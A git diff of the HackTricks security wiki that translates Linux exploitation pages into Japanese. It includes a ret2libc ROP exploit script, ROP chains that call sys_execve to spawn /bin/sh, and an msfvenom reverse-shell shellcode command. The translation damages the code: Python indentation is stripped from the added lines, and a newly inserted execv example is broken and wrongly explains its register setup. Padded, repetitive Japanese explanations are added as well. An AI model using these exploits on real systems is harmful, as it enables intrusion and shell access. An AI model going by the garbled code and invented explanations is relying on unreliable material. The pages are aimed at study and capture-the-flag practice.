(ROP_LOADED.find_gadget(['pop rdi', 'ret']))[0] #Same as ROPgadget --binary vuln | grep "pop rdi" @@ -102,54 +100,54 @@ log.info("ret gadget: " + hex(RET)) ######################## def generate_payload_aligned(rop): - payload1 = OFFSET + rop - if (len(payload1) % 16) == 0: - return payload1 - - else: - payload2 = OFFSET + p64(RET) + rop - if (len(payload2) % 16) == 0: - log.info("Payload aligned successfully") - return payload2 - else: - log.warning(f"I couldn't align the payload! Len: {len(payload1)}") - return payload1 +payload1 = OFFSET + rop +if (len(payload1) % 16) == 0: +return payload1 + +else: +payload2 = OFFSET + p64(RET) + rop +if (len(payload2) % 16) == 0: +log.info("Payload aligned successfully") +return payload2 +else: +log.warning(f"I couldn't align the payload! Len: {len(payload1)}") +return payload1 def get_addr(libc_func): - FUNC_GOT = ELF_LOADED.got[libc_func] - log.info(libc_func + " GOT @ " + hex(FUNC_GOT)) - # Create rop chain - rop1 = p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT) - rop1 = generate_payload_aligned(rop1) +FUNC_GOT = ELF_LOADED.got[libc_func] +log.info(libc_func + " GOT @ " + hex(FUNC_GOT)) +# Create rop chain +rop1 = p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT) +rop1 = generate_payload_aligned(rop1) - # Send our rop-chain payload - #P.sendlineafter("dah?", rop1) #Use this to send the payload when something is received - print(P.clean()) # clean socket buffer (read all and print) - P.sendline(rop1) +# Send our rop-chain payload +#P.sendlineafter("dah?", rop1) #Use this to send the payload when something is received +print(P.clean()) # clean socket buffer (read all and print) +P.sendline(rop1) - # If binary is echoing back the payload, remove that message - recieved = P.recvline().strip() - if OFFSET[:30] in recieved: - recieved = P.recvline().strip() - - # Parse leaked address - log.info(f"Len rop1: {len(rop1)}") - leak = u64(recieved.ljust(8, b"\x00")) - log.info(f"Leaked LIBC address, {libc_func}: {hex(leak)}") - - # Set lib base address - if LIBC: - LIBC.address = leak - LIBC.symbols[libc_func] #Save LIBC base - print("If LIBC base doesn't end end 00, you might be using an icorrect libc library") - log.info("LIBC base @ %s" % hex(LIBC.address)) +# If binary is echoing back the payload, remove that message +recieved = P.recvline().strip() +if OFFSET[:30] in recieved: +recieved = P.recvline().strip() - # If not LIBC yet, stop here - else: - print("TO CONTINUE) Find the LIBC library and continue with the exploit... (https://LIBC.blukat.me/)") - P.interactive() - - return hex(leak) +# Parse leaked address +log.info(f"Len rop1: {len(rop1)}") +leak = u64(recieved.ljust(8, b"\x00")) +log.info(f"Leaked LIBC address, {libc_func}: {hex(leak)}") + +# Set lib base address +if LIBC: +LIBC.address = leak - LIBC.symbols[libc_func] #Save LIBC base +print("If LIBC base doesn't end end 00, you might be using an icorrect libc library") +log.info("LIBC base @ %s" % hex(LIBC.address)) + +# If not LIBC yet, stop here +else: +print("TO CONTINUE) Find the LIBC library and continue with the exploit... (https://LIBC.blukat.me/)") +P.interactive() + +return hex(leak) get_addr(libc_func) #Search for puts address in memmory to obtain LIBC base @@ -162,39 +160,39 @@ get_addr(libc_func) #Search for puts address in memmory to obtain LIBC base ## Via One_gadget (https://github.com/david942j/one_gadget) # gem install one_gadget def get_one_gadgets(libc): - import string, subprocess - args = ["one_gadget", "-r"] - if len(libc) == 40 and all(x in string.hexdigits for x in libc.hex()): - args += ["-b", libc.hex()] - else: - args += [libc] - try: - one_gadgets = [int(offset) for offset in subprocess.check_output(args).decode('ascii').strip().split()] - except: - print("One_gadget isn't installed") - one_gadgets = [] - return +import string, subprocess +args = ["one_gadget", "-r"] +if len(libc) == 40 and all(x in string.hexdigits for x in libc.hex()): +args += ["-b", libc.hex()] +else: +args += [libc] +try: +one_gadgets = [int(offset) for offset in subprocess.check_output(args).decode('ascii').strip().split()] +except: +print("One_gadget isn't installed") +one_gadgets = [] +return rop2 = b"" if USE_ONE_GADGET: - one_gadgets = get_one_gadgets(LIBC) - if one_gadgets: - rop2 = p64(one_gadgets[0]) + "\x00"*100 #Usually this will fullfit the constrains +one_gadgets = get_one_gadgets(LIBC) +if one_gadgets: +rop2 = p64(one_gadgets[0]) + "\x00"*100 #Usually this will fullfit the constrains ## Normal/Long exploitation if not rop2: - BINSH = next(LIBC.search(b"/bin/sh")) #Verify with find /bin/sh - SYSTEM = LIBC.sym["system"] - EXIT = LIBC.sym["exit"] - - log.info("POP_RDI %s " % hex(POP_RDI)) - log.info("bin/sh %s " % hex(BINSH)) - log.info("system %s " % hex(SYSTEM)) - log.info("exit %s " % hex(EXIT)) - - rop2 = p64(POP_RDI) + p64(BINSH) + p64(SYSTEM) #p64(EXIT) - rop2 = generate_payload_aligned(rop2) - +BINSH = next(LIBC.search(b"/bin/sh")) #Verify with find /bin/sh +SYSTEM = LIBC.sym["system"] +EXIT = LIBC.sym["exit"] + +log.info("POP_RDI %s " % hex(POP_RDI)) +log.info("bin/sh %s " % hex(BINSH)) +log.info("system %s " % hex(SYSTEM)) +log.info("exit %s " % hex(EXIT)) + +rop2 = p64(POP_RDI) + p64(BINSH) + p64(SYSTEM) #p64(EXIT) +rop2 = generate_payload_aligned(rop2) + print(P.clean()) P.sendline(rop2) @@ -203,53 +201,42 @@ P.interactive() #Interact with your shell :) ``` {% endcode %} -# Common problems +# よくある問題 -## MAIN\_PLT = elf.symbols\['main'] not found - -If the "main" symbol does not exist. Then you can just where is the main code: +## MAIN\_PLT = elf.symbols\['main'] が見つかりません +もし"main"シンボルが存在しない場合、mainのコードがどこにあるかを調べることができます。 ```python objdump -d vuln_binary | grep "\.text" Disassembly of section .text: 0000000000401080 <.text>: ``` - -and set the address manually: - +そして、アドレスを手動で設定します: ```python MAIN_PLT = 0x401080 ``` +## Putsが見つかりません -## Puts not found - -If the binary is not using Puts you should check if it is using +バイナリがPutsを使用していない場合は、次のようなエラーメッセージを確認してください。 ## `sh: 1: %s%s%s%s%s%s%s%s: not found` -If you find this **error** after creating **all** the exploit: `sh: 1: %s%s%s%s%s%s%s%s: not found` - -Try to **subtract 64 bytes to the address of "/bin/sh"**: - +すべてのエクスプロイトを作成した後に、次のような**エラー**が見つかった場合は、"/bin/sh"のアドレスから64バイトを引いてみてください。 ```python BINSH = next(libc.search("/bin/sh")) - 64 ``` - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
- - diff --git a/exploiting/linux-exploiting-basic-esp/rop-syscall-execv.md b/exploiting/linux-exploiting-basic-esp/rop-syscall-execv.md index c6974e730..1d1f10016 100644 --- a/exploiting/linux-exploiting-basic-esp/rop-syscall-execv.md +++ b/exploiting/linux-exploiting-basic-esp/rop-syscall-execv.md @@ -1,30 +1,29 @@ -# ROP - call sys\_execve +# ROP - sys_execveの呼び出し
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
-In order to prepare the call for the **syscall** it's needed the following configuration: +**シスコール**の呼び出しの準備には、次の設定が必要です: -* `rax: 59 Specify sys_execve` -* `rdi: ptr to "/bin/sh" specify file to execute` -* `rsi: 0 specify no arguments passed` -* `rdx: 0 specify no environment variables passed` +* `rax: 59 sys_execveを指定します` +* `rdi: "/bin/sh"へのポインタを指定します` +* `rsi: 0 引数は渡されません` +* `rdx: 0 環境変数は渡されません` -So, basically it's needed to write the string `/bin/sh` somewhere and then perform the `syscall` (being aware of the padding needed to control the stack). +したがって、基本的には文字列`/bin/sh`をどこかに書き込み、その後で`syscall`を実行する必要があります(スタックを制御するために必要なパディングに注意してください)。 -## Control the registers - -Let's start by finding **how to control those registers**: +## レジスタの制御 +まず、**これらのレジスタを制御する方法**を見つけましょう: ```c ROPgadget --binary speedrun-001 | grep -E "pop (rdi|rsi|rdx\rax) ; ret" 0x0000000000415664 : pop rax ; ret @@ -32,15 +31,13 @@ ROPgadget --binary speedrun-001 | grep -E "pop (rdi|rsi|rdx\rax) ; ret" 0x00000000004101f3 : pop rsi ; ret 0x00000000004498b5 : pop rdx ; ret ``` +これらのアドレスを使用することで、**スタックにコンテンツを書き込み、レジスタにロードすることができます**。 -With these addresses it's possible to **write the content in the stack and load it into the registers**. +## 文字列の書き込み -## Write string - -### Writable memory - -Frist you need to find a writable place in the memory +### 書き込み可能なメモリ +まず、メモリ内の書き込み可能な場所を見つける必要があります。 ```bash gef> vmmap [ Legend: Code | Heap | Stack ] @@ -49,18 +46,56 @@ Start End Offset Perm Path 0x00000000006b6000 0x00000000006bc000 0x00000000000b6000 rw- /home/kali/git/nightmare/modules/07-bof_static/dcquals19_speedrun1/speedrun-001 0x00000000006bc000 0x00000000006e0000 0x0000000000000000 rw- [heap] ``` +### 文字列の書き込み -### Write String - -Then you need to find a way to write arbitrary content in this address - +次に、このアドレスに任意の内容を書き込む方法を見つける必要があります。 ```python ROPgadget --binary speedrun-001 | grep " : mov qword ptr \[" mov qword ptr [rax], rdx ; ret #Write in the rax address the content of rdx ``` +#### 32 ビット -#### 32 bits +##### ROP (Return Oriented Programming) +ROP (Return Oriented Programming) は、実行可能なコードの断片(ガジェット)を組み合わせて攻撃を実行する手法です。これは、スタック上のリターンアドレスを制御し、攻撃者が任意のコードを実行できるようにします。 + +##### システムコールの利用 + +システムコールは、カーネルの機能を呼び出すためのインターフェースです。攻撃者は、システムコールを利用して特権のある操作を実行することができます。ROP を使用してシステムコールを呼び出すことで、攻撃者は任意のコードを実行できます。 + +##### execv システムコール + +execv システムコールは、新しいプログラムを実行するために使用されます。攻撃者は、ROP を使用して execv システムコールを呼び出すことで、任意のプログラムを実行できます。 + +##### ROP を使用した execv の呼び出し + +ROP を使用して execv システムコールを呼び出すためには、以下の手順を実行する必要があります。 + +1. execv のアドレスを見つける。 +2. execv の引数を設定する。 +3. execv を呼び出すためのガジェットを見つける。 +4. ROP ペイロードを構築する。 +5. ROP ペイロードを実行する。 + +##### execv のアドレスの探索 + +execv のアドレスを探すためには、libc ライブラリ内のシンボルテーブルを調査する必要があります。一般的な方法は、libc ライブラリのベースアドレスを見つけ、そのオフセットを使用して execv のアドレスを計算することです。 + +##### execv の引数の設定 + +execv の引数は、実行するプログラムのパスと引数の配列です。これらの引数を適切に設定する必要があります。 + +##### execv を呼び出すためのガジェットの探索 + +execv を呼び出すためのガジェットを探すためには、バイナリ内の有効なガジェットを見つける必要があります。これらのガジェットは、ret 命令を使用してスタック上のリターンアドレスを制御します。 + +##### ROP ペイロードの構築 + +ROP ペイロードは、ガジェットのアドレスと引数の値を組み合わせて構築されます。これにより、execv システムコールが呼び出され、任意のプログラムが実行されます。 + +##### ROP ペイロードの実行 + +ROP ペイロードを実行するためには、攻撃者はスタック上にROP チェーンを配置する必要があります。これにより、攻撃者は任意のコードを実行することができます。 ```python ''' Lets write "/bin/sh" to 0x6b6000 @@ -82,9 +117,44 @@ rop += popRax rop += p32(0x6b6000 + 4) rop += writeGadget ``` +#### 64 ビット -#### 64 bits +##### ROP (Return Oriented Programming) +ROP (Return Oriented Programming) は、スタック上の既存のコード断片(ガジェット)を組み合わせて攻撃者が任意のコードを実行する手法です。これは、データ領域への書き込みや実行権限のないメモリ領域へのジャンプなど、制約のある環境での攻撃に有効です。 + +ROP チェーンを構築するためには、以下の手順を実行する必要があります。 + +1. ガジェットのアドレスを特定する +2. ガジェットのアドレスをスタック上に配置する +3. ガジェットのアドレスをスタック上から呼び出す + +ROP は、スタック上の既存のコードを利用するため、実行権限のないメモリ領域でも攻撃を実行することができます。 + +##### システムコールの利用 + +システムコールは、カーネルの機能を呼び出すためのインターフェースです。攻撃者は、システムコールを利用して特権のある操作を実行することができます。 + +システムコールを呼び出すためには、以下の手順を実行する必要があります。 + +1. システムコールの番号を特定する +2. システムコールの引数を設定する +3. システムコールを呼び出す + +システムコールを利用することで、攻撃者は特権のある操作を実行することができます。 + +##### execve システムコール + +execve システムコールは、新しいプログラムを実行するためのシステムコールです。攻撃者は、execve システムコールを利用して任意のプログラムを実行することができます。 + +execve システムコールを呼び出すためには、以下の手順を実行する必要があります。 + +1. プログラムのパスを指定する +2. コマンドライン引数を設定する +3. 環境変数を設定する +4. execve システムコールを呼び出す + +execve システムコールを利用することで、攻撃者は任意のプログラムを実行することができます。 ```python ''' Lets write "/bin/sh" to 0x6b6000 @@ -100,9 +170,44 @@ rop += popRax rop += p64(0x6b6000) # Writable memory rop += writeGadget #Address to: mov qword ptr [rax], rdx ``` +## 例 -## Example +The following example demonstrates how to use ROP to execute the `execv` system call in Linux. +以下の例では、ROPを使用してLinuxで`execv`システムコールを実行する方法を示しています。 + +```python +from pwn import * + +# Set up the target process +target = process('/path/to/vulnerable/program') + +# Find gadgets using ROPgadget +pop_rdi = 0x000000000040123b # pop rdi; ret; +pop_rsi_r15 = 0x0000000000401239 # pop rsi; pop r15; ret; +execv_addr = 0x0000000000401030 # address of execv function + +# Build the ROP chain +rop_chain = p64(pop_rdi) + p64(0) + p64(pop_rsi_r15) + p64('/bin/sh\x00') + p64(0) + p64(execv_addr) + +# Send the ROP chain to the target process +target.sendline(rop_chain) + +# Interact with the target process +target.interactive() +``` + +The example above demonstrates a basic ROP chain that uses two gadgets (`pop rdi; ret;` and `pop rsi; pop r15; ret;`) to set up the arguments for the `execv` system call. The address of the `execv` function is obtained using a tool like ROPgadget. + +上記の例では、`pop rdi; ret;`と`pop rsi; pop r15; ret;`の2つのガジェットを使用して、`execv`システムコールの引数を設定する基本的なROPチェーンが示されています。`execv`関数のアドレスは、ROPgadgetのようなツールを使用して取得されます。 + +The ROP chain is built by concatenating the addresses of the gadgets and the arguments for the `execv` system call. In this example, the ROP chain sets the `rdi` register to 0 (which represents the file descriptor for `stdin`), the `rsi` register to the address of the string "/bin/sh\x00" (which represents the command to be executed), and the `r15` register to 0. Finally, the address of the `execv` function is appended to the ROP chain. + +ROPチェーンは、ガジェットのアドレスと`execv`システムコールの引数を連結して構築されます。この例では、ROPチェーンは`rdi`レジスタを0(`stdin`のファイルディスクリプタを表す)に設定し、`rsi`レジスタを文字列"/bin/sh\x00"(実行するコマンドを表す)のアドレスに設定し、`r15`レジスタを0に設定します。最後に、`execv`関数のアドレスがROPチェーンに追加されます。 + +The ROP chain is then sent to the target process, which will execute the `execv` system call with the specified arguments. This will result in the execution of the `/bin/sh` shell, providing an interactive shell to the attacker. + +その後、ROPチェーンは指定された引数で`execv`システムコールを実行するターゲットプロセスに送信されます。これにより、攻撃者に対して対話型シェルを提供する`/bin/sh`シェルが実行されます。 ```python from pwn import * @@ -167,10 +272,9 @@ payload = "0"*0x408 + rop # Send the payload, drop to an interactive shell to use our new shell target.sendline(payload) -target.interactive() +target.interactive() ``` - -## References +## 参考文献 * [https://guyinatuxedo.github.io/07-bof\_static/dcquals19\_speedrun1/index.html](https://guyinatuxedo.github.io/07-bof\_static/dcquals19\_speedrun1/index.html) @@ -178,10 +282,10 @@ target.interactive() ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** +* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。** diff --git a/exploiting/tools/README.md b/exploiting/tools/README.md index 682c09d02..822982596 100644 --- a/exploiting/tools/README.md +++ b/exploiting/tools/README.md @@ -1,24 +1,21 @@ - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
# Metasploit - ``` pattern_create.rb -l 3000 #Length pattern_offset.rb -l 3000 -q 5f97d534 #Search offset @@ -26,72 +23,117 @@ nasm_shell.rb nasm> jmp esp #Get opcodes msfelfscan -j esi /opt/fusion/bin/level01 ``` +## シェルコード -## Shellcodes +A shellcode is a small piece of code that is used as the payload in an exploit. It is typically written in assembly language and is designed to be injected into a vulnerable program to gain unauthorized access or execute arbitrary commands. +シェルコードは、エクスプロイトのペイロードとして使用される小さなコードです。通常、アセンブリ言語で書かれ、脆弱なプログラムに注入され、不正なアクセスを取得したり、任意のコマンドを実行したりするために設計されています。 + +Shellcodes are commonly used in buffer overflow attacks, where an attacker overflows a buffer in a program to overwrite the return address and redirect the program's execution flow to the injected shellcode. + +シェルコードは、バッファオーバーフロー攻撃で一般的に使用されます。攻撃者は、プログラム内のバッファをオーバーフローさせ、リターンアドレスを上書きし、プログラムの実行フローを注入されたシェルコードにリダイレクトします。 + +Shellcodes can be written in different architectures, such as x86, x64, ARM, MIPS, etc., depending on the target system's architecture. + +シェルコードは、対象システムのアーキテクチャに応じて、x86、x64、ARM、MIPSなど、さまざまなアーキテクチャで書かれることがあります。 + +There are various techniques to create shellcodes, including manual assembly, using shellcode generators, or leveraging existing shellcode libraries. + +シェルコードを作成するためのさまざまなテクニックがあります。手動アセンブリ、シェルコードジェネレータの使用、または既存のシェルコードライブラリの活用などがあります。 + +It is important to note that the use of shellcodes for unauthorized access or malicious purposes is illegal and unethical. Shellcodes should only be used for legitimate purposes, such as penetration testing or security research. + +シェルコードを不正なアクセスや悪意のある目的で使用することは、違法で倫理に反します。シェルコードは、ペネトレーションテストやセキュリティ研究などの正当な目的にのみ使用するべきです。 ``` msfvenom /p windows/shell_reverse_tcp LHOST= LPORT= [EXITFUNC=thread] [-e x86/shikata_ga_nai] -b "\x00\x0a\x0d" -f c ``` - # GDB -## Install +## インストール +GDB(GNU Debugger)は、プログラムのデバッグに使用される強力なツールです。GDBをインストールするには、次の手順に従ってください。 + +### Linux + +1. ターミナルを開きます。 +2. 次のコマンドを実行して、GDBをインストールします。 + + ``` + sudo apt-get install gdb + ``` + +### macOS + +1. ターミナルを開きます。 +2. Homebrewを使用してGDBをインストールします。次のコマンドを実行します。 + + ``` + brew install gdb + ``` + +### Windows + +Windowsでは、GDBを直接インストールすることはできません。代わりに、CygwinやMinGWを使用してGDBをインストールする必要があります。以下の手順を参考にしてください。 + +1. Cygwinをインストールします。[公式ウェブサイト](https://www.cygwin.com/)からインストーラをダウンロードし、インストールします。 +2. インストール中に、パッケージマネージャを使用して`gdb`を選択し、インストールします。 +3. MinGWをインストールします。[公式ウェブサイト](http://www.mingw.org/)からインストーラをダウンロードし、インストールします。 +4. インストール中に、パッケージマネージャを使用して`gdb`を選択し、インストールします。 + +GDBのインストールが完了したら、次のセクションでGDBの基本的な使用方法について学びましょう。 ``` apt-get install gdb ``` +## パラメータ -## Parameters +**-q** --> バナーを表示しない\ +**-x \** --> ここからGDBの命令を自動実行する\ +**-p \** --> プロセスにアタッチする -**-q** --> No show banner\ -**-x \** --> Auto-execute GDB instructions from here\ -**-p \** --> Attach to process +### 命令 -### Instructions - -\> **disassemble main** --> Disassemble the function\ +\> **disassemble main** --> 関数を逆アセンブルする\ \> **disassemble 0x12345678**\ \> **set disassembly-flavor intel**\ -\> **set follow-fork-mode child/parent** --> Follow created process\ -\> **p system** --> Find the address of the system function\ +\> **set follow-fork-mode child/parent** --> 作成されたプロセスを追跡する\ +\> **p system** --> system関数のアドレスを見つける\ \> **help**\ \> **quit** -\> **br func** --> Add breakpoint to function\ +\> **br func** --> 関数にブレークポイントを追加する\ \> **br \*func+23**\ \> **br \*0x12345678**\ -**> del NUM** --> Delete that number of br\ -\> **watch EXPRESSION** --> Break if the value changes +**> del NUM** --> その数のブレークポイントを削除する\ +\> **watch EXPRESSION** --> 値が変更された場合に中断する -**> run** --> Execute\ -**> start** --> Start and break in main\ -\> **n/next** --> Execute next instruction (no inside)\ -\> **s/step** --> Execute next instruction\ -\> **c/continue** --> Continue until next breakpoint +**> run** --> 実行する\ +**> start** --> mainで開始して中断する\ +\> **n/next** --> 次の命令を実行する(内部には入らない)\ +\> **s/step** --> 次の命令を実行する\ +\> **c/continue** --> 次のブレークポイントまで続行する -\> **set $eip = 0x12345678** --> Change value of $eip\ -\> **info functions** --> Info abount functions\ -\> **info functions func** --> Info of the funtion\ -\> **info registers** --> Value of the registers\ -\> **bt** --> Stack\ -\> **bt full** --> Detailed stack +\> **set $eip = 0x12345678** --> $eipの値を変更する\ +\> **info functions** --> 関数に関する情報\ +\> **info functions func** --> 関数の情報\ +\> **info registers** --> レジスタの値\ +\> **bt** --> スタック\ +\> **bt full** --> 詳細なスタック \> **print variable**\ -\> **print 0x87654321 - 0x12345678** --> Caculate\ -\> **examine o/x/u/t/i/s dir\_mem/reg/puntero** --> Shows content in octal/hexa/10/bin/instruction/ascii +\> **print 0x87654321 - 0x12345678** --> 計算する\ +\> **examine o/x/u/t/i/s dir\_mem/reg/puntero** --> 8進数/16進数/10進数/2進数/命令/ASCIIで内容を表示する * **x/o 0xDir\_hex** -* **x/2x $eip** --> 2Words from EIP +* **x/2x $eip** --> EIPから2ワード * **x/2x $eip -4** --> $eip - 4 -* **x/8xb $eip** --> 8 bytes (b-> byte, h-> 2bytes, w-> 4bytes, g-> 8bytes) -* **i r eip** --> Value of $eip -* **x/w pointer** --> Value of the pointer -* **x/s pointer** --> String pointed by the pointer -* **x/xw \&pointer** --> Address where the pointer is located -* **x/i $eip** —> Instructions of the EIP +* **x/8xb $eip** --> 8バイト(b-> バイト, h-> 2バイト, w-> 4バイト, g-> 8バイト) +* **i r eip** --> $eipの値 +* **x/w pointer** --> ポインタの値 +* **x/s pointer** --> ポインタが指す文字列 +* **x/xw \&pointer** --> ポインタの場所のアドレス +* **x/i $eip** —> EIPの命令 ## [GEF](https://github.com/hugsy/gef) - ```bash checksec #Check protections p system #Find system function address @@ -111,34 +153,32 @@ pattern search $rsp #Search the offset given the content of $rsp 1- Put a bp after the function that overwrites the RIP and send a ppatern to ovwerwrite it 